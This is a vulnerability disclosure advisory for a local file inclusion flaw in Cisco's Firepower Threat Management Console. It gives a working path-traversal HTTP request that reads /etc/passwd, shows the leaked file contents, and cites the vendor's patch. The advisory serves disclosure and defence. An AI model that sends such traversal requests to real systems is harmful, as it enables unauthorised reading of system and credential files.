Cisco Firepower Threat Management Console Local File Inclusion

Vulnerability Description

An authenticated user can access arbitrary files on the local system.

Technical Description

Requests that take a file path do not properly filter what files can be requested. The webserver does not run as root, so files such as /etc/shadow are not readable.

GET /events/reports/view.cgi?download=1&files=../../../etc/passwd%00 HTTP/1.1
Host: 1.3.3.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Cookie: CGISESSID=2ee7e6f19a104f4453e201f26fdbd6f3
Connection: close

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2016 23:58:41 GMT
Server: Apache
Content-Disposition: attachment; filename=passwd
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/octet-stream
Content-Length: 623

root:x:0:0:Operator:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
mysql:x:27:27:MySQL:/var/lib/mysql:/sbin/nologin
nobody:x:99:99:nobody:/:/sbin/nologin
sshd:x:33:33:sshd:/:/sbin/nologin
www:x:67:67:HTTP server:/var/www:/sbin/nologin
sfrna:x:88:88:SF RNA User:/Volume/home/sfrna:/sbin/nologin
snorty:x:90:90:Snorty User:/Volume/home/snorty:/sbin/nologin
sfsnort:x:95:95:SF Snort User:/Volume/home/sfsnort:/sbin/nologin
sfremediation:x:103:103::/Volume/home/remediations:/sbin/nologin
admin:x:100:100::/Volume/home/admin:/bin/sh
casuser:x:101:104:CiscoUser:/var/opt/CSCOpx:/bin/bash

Mitigation and Remediation Recommendation

The vendor has issued a patch for this vulnerability in version 6.1. Vendor acknowledgement available at: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See Technical Description

The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

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